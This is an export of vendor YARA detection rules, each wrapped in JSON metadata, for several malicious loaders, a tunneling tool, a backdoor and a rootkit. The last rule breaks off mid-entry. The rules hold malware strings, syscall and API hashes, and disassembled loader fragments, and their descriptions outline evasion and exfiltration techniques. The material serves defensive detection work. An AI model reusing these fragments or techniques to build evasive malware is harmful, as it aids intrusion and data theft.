+  "hl_testing_start_time": "2026-03-23T11:46:25.582543Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/D1rkMtr/IORI_Loader"
+  ],
+  "name": "iori_loader.yar",
+  "content": "rule loader_iori {\n    meta:\n        title = \"IORI Loader\"\n        id = \"6ff9d830-2f24-4a44-9793-24c4a9d7100e\"\n        description = \"Detects the IORI Loader.\\nThe IORI Loader uses dynamic indirect syscalls to load shellcodes encoded into UUIDs. This loader also unhooks the syscalls it uses to avoid detection by security products.\"\n        references = \"https://github.com/D1rkMtr/IORI_Loader\"\n        date = \"2022-11-03\"\n        modified = \"2025-03-18\"\n        author = \"HarfangLab\"\n        tags = \"attack.execution;attack.t1106\"\n        classification = \"Windows.Loader.IORI\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // b1f882cd8d26d614f236ccc4d5f02a152e8d825d148f12ecfbccc5edc58f3fec\n\n        $syscall_hash_1 = { 35 2B BE A6 }  // ZwAllocateVirtualMemory\n        $syscall_hash_2 = { 38 C3 EC F7 }  // NtCreateThreadEx\n        $syscall_hash_3 = { BC 93 C9 AF }  // NtWaitForSingleObject\n\n        $op_pe_header_parsing = {\n            8B F2                    // mov     esi, edx\n            48 8B D9                 // mov     rbx, rcx\n            44 8B 84 08 88 00 00 00  // mov     r8d, [rax+rcx+136]\n            41 8B 7C 08 1C           // mov     edi, [r8+rcx+28]\n            45 8B 5C 08 20           // mov     r11d, [r8+rcx+32]\n            45 8B 74 08 24           // mov     r14d, [r8+rcx+36]\n            4C 03 D9                 // add     r11, rcx\n            4C 03 F1                 // add     r14, rcx\n            48 8D 2C 39              // lea     rbp, [rcx+rdi]\n            85 FF                    // test    edi, edi\n        }\n\n        $op_find_api_hash = {\n            47 8D 04 40              // lea     r8d, [r8+r8*2]\n            41 FF C1                 // inc     r9d\n            48 8D 52 01              // lea     rdx, [rdx+1]\n            44 03 C1                 // add     r8d, ecx\n            49 63 C9                 // movsxd  rcx, r9d\n            48 3B C8                 // cmp     rcx, rax\n            72 ??                    // jb      short loc_1400010F0\n        }\n\n    condition:\n        all of ($syscall_hash_*) and 1 of ($op_*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "loader_iori"
+  ],
+  "rule_creation_date": "2022-11-03",
+  "rule_modified_date": "2025-03-18",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Loader.IORI"
+  ],
+  "rule_tactic_tags": [
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1106"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-iox_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.564993Z",
+  "creation_date": "2026-03-23T11:46:25.564995Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.565001Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/EddieIvan01/iox"
+  ],
+  "name": "iox.yar",
+  "content": "rule iox {\n    meta:\n        title = \"iox Tunneling Tool\"\n        id = \"2b5c320a-cf7f-4600-96da-61af57462eeb\"\n        description = \"Detects the iox tunneling tool.\\nIox can used by attackers to establish TCP/UDP tunnels for command and control or data exfiltration.\\nIox enables attackers to pivot into victim environments by creating encrypted or unencrypted tunnels, often bypassing network security measures.\\nIt is recommended to investigate the context around the execution of Iox to determine the legitimacy of its presence of the host.\"\n        references = \"https://github.com/EddieIvan01/iox\"\n        date = \"2024-01-31\"\n        modified = \"2025-03-04\"\n        author = \"HarfangLab\"\n        tags = \"attack.command_and_control;attack.t1071.001;attack.t1572\"\n        classification = \"Tool.iox\"\n        context = \"process,memory,thread,file.pe,file.elf,file.macho\"\n        os = \"Windows,Linux,MacOS\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // c6cf82919b809967d9d90ea73772a8aa1c1eb3bc59252d977500f64f1a0d6731\n        // b9c40960259b9b14d80c8b1cb3438913f8550fe56dbdfe314b53c7ceae77ccb0\n        // 4806fd64647e02a34dd49f9057c6bf95325dcc923764ff2ef61cbbab40ca8c48\n        // 13c1cfb12017aa138e2f8d788dcd867806cc8fd6ae05c3ab7d886c18bcd4c48a\n        // e92c85b36d0848171ada787862413e0edd8291c8ae6a43e13b075b9ccbd53434\n        // 35d83137ea70e94187a9ad9b7fa2d7b6c6b9128eb9d104380f2ac525784b9a78\n\n        $string_gobuild_1 = \"Go build ID: \\\"hXCPM6VGLAOVYcuOtkpk/zW_AWft3N-aavPfuefBC/_jZi_qx4N2RgvR76LfqD/-MhsqjIF67wPrZy8U5JH\\\"\" ascii fullword\n        $string_gobuild_2 = \"Go build ID: \\\"l7ffIUJGE5-y6vGZJcCa/L1-Pwl9z21dvGvtlWQGS/1tDt28jpySbiGSJlZFkJ/ggMEGfUtUSpF3hMa5S74\\\"\" ascii fullword\n        $string_gobuild_3 = \"Go build ID: \\\"2o6xVl_1exK2-tBeoPrw/yoCBbeFQOG-TFGp8jtej/NohGyDNgwkZPr3Tct-_N/i7CPR2XZvHSHKVFEOAql\\\"\" ascii fullword\n        $string_gobuild_4 = \"Go build ID: \\\"TQpP3IgmGAtFZdKaROz6/kWHAbZ68Ak3-AR-JimWq/eNeLkDdKHqmzN8s-aB4M/7ex-T_UrCTjLX4eURpL5\\\"\" ascii fullword\n\n        // object\n        $string_object_1 = \"iox/crypto.\" ascii\n        $string_object_2 = \"iox/socks5.\" ascii\n        $string_object_3 = \"iox/operate.\" ascii\n        $string_object_4 = \"iox/option.\" ascii\n        $string_object_5 = \"iox/logger.\" ascii\n        $string_object_6 = \"iox/netio.\" ascii\n\n        // helper\n        $string_helper_1 = \"Access intranet easily (https://github.com/eddieivan01/iox)\" ascii\n        $string_helper_2 = \"Usage: iox fwd/proxy [-l [*][HOST:]PORT] [-r [*]HOST:PORT] [-k HEX] [-t TIMEOUT] [-u] [-h] [-v]\" ascii fullword\n        $string_helper_3 = \"address to listen on. `*` means encrypted socket\" ascii fullword\n        $string_helper_4 = \"remote host to connect, HOST can be IP or Domain. `*` means encrypted socket\" ascii fullword\n        $string_helper_5 = \"hexadecimal format key, be used to generate Key and IV\" ascii fullword\n        $string_helper_6 = \"udp forward mode\" ascii fullword\n        $string_helper_7 = \"set connection timeout(millisecond), default is 5000\" ascii fullword\n        $string_helper_8 = \"enable log output\" ascii fullword\n\n    condition:\n            1 of ($string_gobuild_*)\n            or 3 of ($string_object_*)\n            or 3 of ($string_helper_*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "iox"
+  ],
+  "rule_creation_date": "2024-01-31",
+  "rule_modified_date": "2025-03-04",
+  "rule_os": [
+    "macos",
+    "windows",
+    "linux"
+  ],
+  "rule_classifications": [
+    "Tool.iox"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control"
+  ],
+  "rule_technique_tags": [
+    "attack.t1572",
+    "attack.t1071.001"
+  ],
+  "rule_score": 70,
+  "rule_context": [
+    "file.elf",
+    "memory",
+    "file.pe",
+    "process",
+    "file.macho",
+    "thread"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-jokerspy_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.577197Z",
+  "creation_date": "2026-03-23T11:46:25.577200Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.577205Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://blogs.jpcert.or.jp/en/2023/07/dangerouspassword_dev.html\nhttps://www.elastic.co/security-labs/inital-research-of-jokerspy"
+  ],
+  "name": "jokerspy.yar",
+  "content": "rule jokerspy {\n    meta:\n        title = \"JokerSpy Backdoor\"\n        id = \"2a44bea8-9e22-4dae-8a29-c3b30e02f662\"\n        description = \"Detects JokerSpy (aka COVERTCATCH), a multi-platform Python backdoor designed to execute commands and deploy additional post-exploitation tools.\\nIt enables remote control over compromised systems, allowing attackers to perform various malicious activities, including data exfiltration and persistence.\\nIt is recommended to investigate the process activity to identify unauthorized actions and assess potential data exfiltration or system compromise.\"\n        references = \"https://blogs.jpcert.or.jp/en/2023/07/dangerouspassword_dev.html\\nhttps://www.elastic.co/security-labs/inital-research-of-jokerspy\"\n        date = \"2024-09-12\"\n        modified = \"2025-03-04\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1027.010;attack.collection;attack.t1005;attack.command_and_control;attack.t1071.001;attack.exfiltration;attack.t1041\"\n        classification = \"Backdoor.JokerSpy\"\n        context = \"process,memory,thread\"\n        os = \"Windows,Linux,MacOS\"\n        arch = \"x86,x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 39bbc16028fd46bf4ddad49c21439504d3f6f42cccbd30945a2d2fdb4ce393a4\n        // aa951c053baf011d08f3a60a10c1d09bbac32f332413db5b38b8737558a08dc1\n\n        // shared.dat\n        $dat1 = \"down_exec\" ascii\n        $dat2 = \"check_os\" ascii\n        $dat3 = \"distro_info\" ascii\n        $dat4 = \"/Hfref/Funerq\" ascii\n        $dat5 = \"drop_f\" ascii\n        $dat6 = \"res_cmd\" ascii\n        $dat7 = \"preexec_fn\" ascii\n        $dat8 = \"VQ=qrovna\" ascii\n\n        // sh.py\n        $sh1  = \"get_basic_information\" ascii\n        $sh2  = \"BasicInformation\" ascii\n        $sh3  = \"get_volume_type\" ascii\n        $sh4  = \"load_setting\" ascii\n        $sh5  = \"SleepCycleMin\" ascii\n        $sh6  = \"save_setting\" ascii\n        $sh7  = \"process_command\" ascii\n        $sh8  = \"ServerUrlString\" ascii\n        $sh9  = \"GetVolumeInformationW\" ascii\n        $sh10 = \"GetDriveTypeW\" ascii\n\n    condition:\n        all of ($dat*) or all of ($sh*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "jokerspy"
+  ],
+  "rule_creation_date": "2024-09-12",
+  "rule_modified_date": "2025-03-04",
+  "rule_os": [
+    "macos",
+    "windows",
+    "linux"
+  ],
+  "rule_classifications": [
+    "Backdoor.JokerSpy"
+  ],
+  "rule_tactic_tags": [
+    "attack.collection",
+    "attack.command_and_control",
+    "attack.defense_evasion",
+    "attack.exfiltration"
+  ],
+  "rule_technique_tags": [
+    "attack.t1071.001",
+    "attack.t1041",
+    "attack.t1027.010",
+    "attack.t1005"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-jynx_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.572372Z",
+  "creation_date": "2026-03-23T11:46:25.572374Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.572379Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/chokepoint/jynxkit/\nhttps://github.com/chokepoint/Jynx2/"
+  ],
+  "name": "jynx.yar",
+  "content": "rule linux_library_rootkit_jynx {\n    meta:\n        title = \"Jynx Rootkit\"\n        id = \"493b8dfd-a08d-40ad-a804-daccc0491796\"\n        description = \"Detects the Jynx/Jynx2 userland rootkit.\\nJynx/Jynx2 uses LD_PRELOAD to inject malicious shared libraries and hijack function calls.\\nIt is recommended to isolate the affected machine and perform a full system scan for any signs of compromise.\"\n        references = \"https://github.com/chokepoint/jynxkit/\\nhttps://github.com/chokepoint/Jynx2/\"\n        date = \"2023-12-12\"\n        modified = \"2025-02-27\"\n        author = \"HarfangLab\"\n        tags = \"attack.execution;attack.t1059.004;attack.persistence;attack.t1574.006;attack.defense_evasion;attack.t1014;attack.t1070;attack.t1564;attack.command_and_control;attack.t1095\"\n        classification = \"Linux.Rootkit.Jynx\"\n        context = \"process,file.elf\"\n        os = \"Linux\"\n        arch = \"x86,x64\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 6cd339d568768fefb86f4a298c57807616157de929b9c5d7b26e98a2922cf1df\n        // d561024595ac93853565f55a42fed4735812dd27ac82a865d8863f9448e68d1b\n        // 147e0d7478e947f68c7951e592b095cbabcb6120371b9a65cea7f04a72b55ee1\n\n        $a1 = \"xochi\" ascii fullword\n        $a3 = \"ld_poison loaded\" ascii\n        $a4 = \"XxJynx\" ascii fullword\n        $a5 = \"reality.so\" ascii\n        $a6 = \"Bump with shell\" ascii\n        $a7 = \"forge_proc_net_tcp\" ascii fullword\n        $a8 = \"drop_suid_shell_if_env_set\" ascii fullword\n        $e1 = \"old_fxstat\" ascii fullword\n        $e2 = \"old_fxstat64\" ascii fullword\n        $e3 = \"old_lxstat\" ascii fullword\n        $e4 = \"old_lxstat64\" ascii fullword\n        $e5 = \"old_open\" ascii fullword\n        $e6 = \"old_rmdir\" ascii fullword\n        $e7 = \"old_unlink\" ascii fullword\n        $e8 = \"old_unlinkat\" ascii fullword\n        $e9 = \"old_xstat\" ascii fullword\n        $e10 = \"old_xstat64\" ascii fullword\n        $e11 = \"old_fdopendir\" ascii fullword\n        $e12 = \"old_opendir\" ascii fullword\n        $e13 = \"old_readdir\" ascii fullword\n        $e14 = \"old_readdir64\" ascii fullword\n        $e20 = \"old_accept\" ascii fullword\n        $e21 = \"old_fopen\" ascii fullword\n        $e22 = \"old_fopen64\" ascii fullword\n\n    condition:\n        (uint32be(0) == 0x7F454c46) // ELF\n        and ((uint16be(0x10) == 0x03) or (uint16(0x10) == 0x03)) // ET_DYN\n        and (3 of ($a*) or 10 of ($e*))\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "linux_library_rootkit_jynx"
+  ],
+  "rule_creation_date": "2023-12-12",
+  "rule_modified_date": "2025-02-27",
+  "rule_os": [
+    "linux"
+  ],
+  "rule_classifications": [
+    "Linux.Rootkit.Jynx"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion",
+    "attack.execution",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1095",
+    "attack.t1070",
+    "attack.t1564",
+    "attack.t1014",
+    "attack.t1574.006",
+    "attack.t1059.004"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.elf",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-kamikakabot_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.574858Z",
+  "creation_date": "2026-03-23T11:46:25.574860Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.574866Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.group-ib.com/blog/dark-pink-apt/\nhttps://www.nextron-systems.com/2024/03/22/unveiling-kamikakabot-malware-analysis/\nhttps://attack.mitre.org/techniques/T1102/002/"
+  ],
+  "name": "kamikakabot.yar",
+  "content": "rule kamikakabot {\n    meta:\n        title = \"KamiKakaBot Malware\"\n        id = \"2fb836a2-2245-42ff-b40d-468f91a9b996\"\n        description = \"Detects KamiKakaBot, a malware used by the Dark Pink advanced persistent threat (APT) to run arbitrary commands and exfiltrate sensitive information.\\nKamiKakaBot steals browser data and sends it to the attackers' Telegram bot channel in a compressed ZIP format.\\nIt is commonly distributed through phishing campaigns.\\nIt is recommended to analyze network traffic for potential exfiltration channels.\"\n        references = \"https://www.group-ib.com/blog/dark-pink-apt/\\nhttps://www.nextron-systems.com/2024/03/22/unveiling-kamikakabot-malware-analysis/\\nhttps://attack.mitre.org/techniques/T1102/002/\"\n        date = \"2024-03-25\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.execution;attack.t1059.003;attack.credential_access;attack.t1555.003;attack.collection;attack.t1560;attack.command_and_control;attack.t1102.002\"\n        classification = \"Windows.Malware.KamiKakaBot\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 4af3798c81a6eb2fc90b0c7f644e004cc2eadac29b308a1136102b5ea814bd69\n        // b23d6ab48067fd01e954ecefa70a8469256e70cee815d4a1249196deb0760043\n        // 06ecb4ae52acd132706830e3f1d4885dfb1a89b2925130d62a55b635e8ef36fd\n\n        $f1 = \"getIndentifyName\" ascii fullword\n        $f2 = \"getMessageAsync\" ascii fullword\n        $f3 = \"run_command\" ascii fullword\n        $f4 = \"sendFile\" ascii fullword\n        $f5 = \"sendMessage\" ascii fullword\n        $f6 = \"send_brw_data\" ascii fullword\n        $f7 = \"updateMessageID\" ascii fullword\n        $f8 = \"update_new_token\" ascii fullword\n        $f9 = \"update_new_xml\" ascii fullword\n        $f10 = \"ResultRequestMessage\" ascii fullword\n\n        $s1 = \"_CHATID\" ascii fullword\n        $s2 = \"DELAYTIME\" ascii fullword\n        $s3 = \"IdentifyName\" ascii fullword\n        $s4 = \"/file/{0}/{1}\" wide\n        $s5 = \"{0}/getUpdates\" wide\n        $s6 = \"%TMP%\\\\\" wide\n        $s7 = \"Update new xml success!\" wide fullword\n\n        // getMessageAsync()\n        $x_get_message_async = {\n            1200                    // ldloca.s  V_0\n            28??00000A              // call      valuetype [mscorlib]System.Runtime.CompilerServices.AsyncTaskMethodBuilder`1<!0> valuetype [mscorlib]System.Runtime.CompilerServices.AsyncTaskMethodBuilder`1<string>::Create()\n            7D????0004              // stfld     valuetype [mscorlib]System.Runtime.CompilerServices.AsyncTaskMethodBuilder`1<string> svchost.main/'<getMessageAsync>d__21'::'<>t__builder'\n            1200                    // ldloca.s  V_0\n            15                      // ldc.i4.m1\n            7D????0004              // stfld     int32 svchost.main/'<getMessageAsync>d__21'::'<>1__state'\n            1200                    // ldloca.s  V_0\n            7C????0004              // ldflda    valuetype [mscorlib]System.Runtime.CompilerServices.AsyncTaskMethodBuilder`1<string> svchost.main/'<getMessageAsync>d__21'::'<>t__builder'\n            1200                    // ldloca.s  V_0\n            28??00002B              // call      instance void valuetype [mscorlib]System.Runtime.CompilerServices.AsyncTaskMethodBuilder`1<string>::Start<valuetype svchost.main/'<getMessageAsync>d__21'>(!!0&)\n            1200                    // ldloca.s  V_0\n            7C????0004              // ldflda    valuetype [mscorlib]System.Runtime.CompilerServices.AsyncTaskMethodBuilder`1<string> svchost.main/'<getMessageAsync>d__21'::'<>t__builder'\n            28??00000A              // call      instance class [mscorlib]System.Threading.Tasks.Task`1<!0> valuetype [mscorlib]System.Runtime.CompilerServices.AsyncTaskMethodBuilder`1<string>::get_Task()\n            2A                      // ret\n        }\n\n        // update_new_xml()\n        $x_update_new_xml = {\n            1200                    // ldloca.s  V_0\n            28????000A              // call      valuetype [mscorlib]System.Runtime.CompilerServices.AsyncTaskMethodBuilder`1<!0> valuetype [mscorlib]System.Runtime.CompilerServices.AsyncTaskMethodBuilder`1<string>::Create()\n            7D????0004              // stfld     valuetype [mscorlib]System.Runtime.CompilerServices.AsyncTaskMethodBuilder`1<string> svchost.main/'<update_new_xml>d__25'::'<>t__builder'\n            1200                    // ldloca.s  V_0\n            02                      // ldarg.0\n            7D????0004              // stfld     string svchost.main/'<update_new_xml>d__25'::file_path\n            1200                    // ldloca.s  V_0\n            03                      // ldarg.1\n            7D????0004              // stfld     string svchost.main/'<update_new_xml>d__25'::old_xml_name\n            1200                    // ldloca.s  V_0\n            15                      // ldc.i4.m1\n            7D????0004              // stfld     int32 svchost.main/'<update_new_xml>d__25'::'<>1__state'\n            1200                    // ldloca.s  V_0\n            7C????0004              // ldflda    valuetype [mscorlib]System.Runtime.CompilerServices.AsyncTaskMethodBuilder`1<string> svchost.main/'<update_new_xml>d__25'::'<>t__builder'\n            1200                    // ldloca.s  V_0\n            28????002B              // call      instance void valuetype [mscorlib]System.Runtime.CompilerServices.AsyncTaskMethodBuilder`1<string>::Start<valuetype svchost.main/'<update_new_xml>d__25'>(!!0&)\n            1200                    // ldloca.s  V_0\n            7C????0004              // ldflda    valuetype [mscorlib]System.Runtime.CompilerServices.AsyncTaskMethodBuilder`1<string> svchost.main/'<update_new_xml>d__25'::'<>t__builder'\n            28??00000A              // call      instance class [mscorlib]System.Threading.Tasks.Task`1<!0> valuetype [mscorlib]System.Runtime.CompilerServices.AsyncTaskMethodBuilder`1<string>::get_Task()\n            2A                      // ret\n        }\n\n        // requestMessageID()\n        $x_request_message_id = {\n            06                      // ldloc.0\n            28??00000A              // call      string [mscorlib]System.IO.File::ReadAllText(string)\n            0C                      // stloc.2\n            08                      // ldloc.2\n            17                      // ldc.i4.1\n            8D??000001              // newarr    [mscorlib]System.Char\n            25                      // dup\n            16                      // ldc.i4.0\n            1F3A                    // ldc.i4.s  58\n            9D                      // stelem.i2\n            6F??00000A              // callvirt  instance string[] [mscorlib]System.String::Split(char[])\n            16                      // ldc.i4.0\n            A3??000001              // ldelem    [mscorlib]System.String\n            07                      // ldloc.1\n            28??00000A              // call      bool [mscorlib]System.String::op_Equality(string, string)\n            [2-5]                   // brfalse.s\n\n            08                      // ldloc.2\n            17                      // ldc.i4.1\n            8D??000001              // newarr    [mscorlib]System.Char\n            25                      // dup\n            16                      // ldc.i4.0\n            1F3A                    // ldc.i4.s  58\n            9D                      // stelem.i2\n            6F??00000A              // callvirt  instance string[] [mscorlib]System.String::Split(char[])\n            17                      // ldc.i4.1\n            A3??000001              // ldelem    [mscorlib]System.String\n            28??00000A              // call      int32 [mscorlib]System.Int32::Parse(string)\n            2A                      // ret\n\n            06                      // ldloc.0\n        }\n\n    condition:\n        5 of ($f*) and 4 of ($s*) and 1 of ($x_*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "kamikakabot"
+  ],
+  "rule_creation_date": "2024-03-25",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Malware.KamiKakaBot"
+  ],
+  "rule_tactic_tags": [
+    "attack.collection",
+    "attack.command_and_control",
+    "attack.credential_access",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.003",
+    "attack.t1560",
+    "attack.t1555.003",
+    "attack.t1102.002"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-kaynldr_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.582595Z",
+  "creation_date": "2026-03-23T11:46:25.582597Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.582602Z",
+  "rule_level": "high",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/Cracked5pider/KaynLd"
+  ],
+  "name": "kaynldr.yar",
+  "content": "rule kaynldr {\n    meta:\n        title = \"KaynLdr Reflective Loader\"\n        id = \"16802361-3d54-4cd2-9024-cfc3460d48f8\"\n        description = \"Detects KaynLdr, a Reflective Loader.\\nKaynLdr is a Windows user-mode loader designed to execute position-independent shellcode or PE files in memory, while employing basic obfuscation techniques to evade detection.\\nA reflective loader is a technique that allows code, such as DLLs or shellcode, to load and execute itself directly from memory without using the standard Windows loader, helping to evade detection.\\nIt is recommended to investigate the context around this alert to look for malicious actions.\"\n        references = \"https://github.com/Cracked5pider/KaynLd\"\n        date = \"2025-05-22\"\n        modified = \"2025-06-05\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1620;attack.t1055.002;attack.execution;attack.t1129\"\n        classification = \"Windows.Loader.KaynLdr\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        arch = \"x64\"\n        score = 70\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 5e2f5d13f7eaf0d1f651b3836f405f7fd230eb42491ff741071daf84583acb16\n\n        // KaynCaller\n        // https://github.com/Cracked5pider/KaynLdr/blob/main/KaynLdr/src/Util.s\n        $kayn_caller = {\n            E8 00 00 00 00                                // call    $+5\n                                        // loc_345:\n            59                                            // pop     rcx\n                                        // loc_346:\n            48 31 DB                                      // xor     rbx, rbx\n            BB 4D 5A 00 00                                // mov     ebx, 5A4Dh\n            48 FF C1                                      // inc     rcx\n            (66 3B 19 | 3E 66 3B 19)                      // cmp     bx, [rcx]\n            (75 F0 | 75 EF)                               // jnz     short loc_346\n            48 31 C0                                      // xor     rax, rax\n            66 8B 41 3C                                   // mov     ax, [rcx+3Ch]\n            48 01 C8                                      // add     rax, rcx\n            48 31 DB                                      // xor     rbx, rbx\n            66 81 C3 50 45                                // add     bx, 4550h\n            (66 3B 18 | 3E 66 3B 18)                      // cmp     bx, [rax]\n            (75 D9 | 75 D7)                               // jnz     short loc_346\n            48 89 C8                                      // mov     rax, rcx\n            C3                                            // retn\n        }\n\n        // https://github.com/Cracked5pider/KaynLdr/blob/main/KaynLdr/include/Macros.h\n        $s1 = {53 17 E6 70} // NTDLL_HASH\n        $s2 = {43 6A 45 9E} // SYS_LDRLOADDLL\n        $s3 = {EC B8 83 F7} // SYS_NTALLOCATEVIRTUALMEMORY\n        $s4 = {88 28 E9 50} // 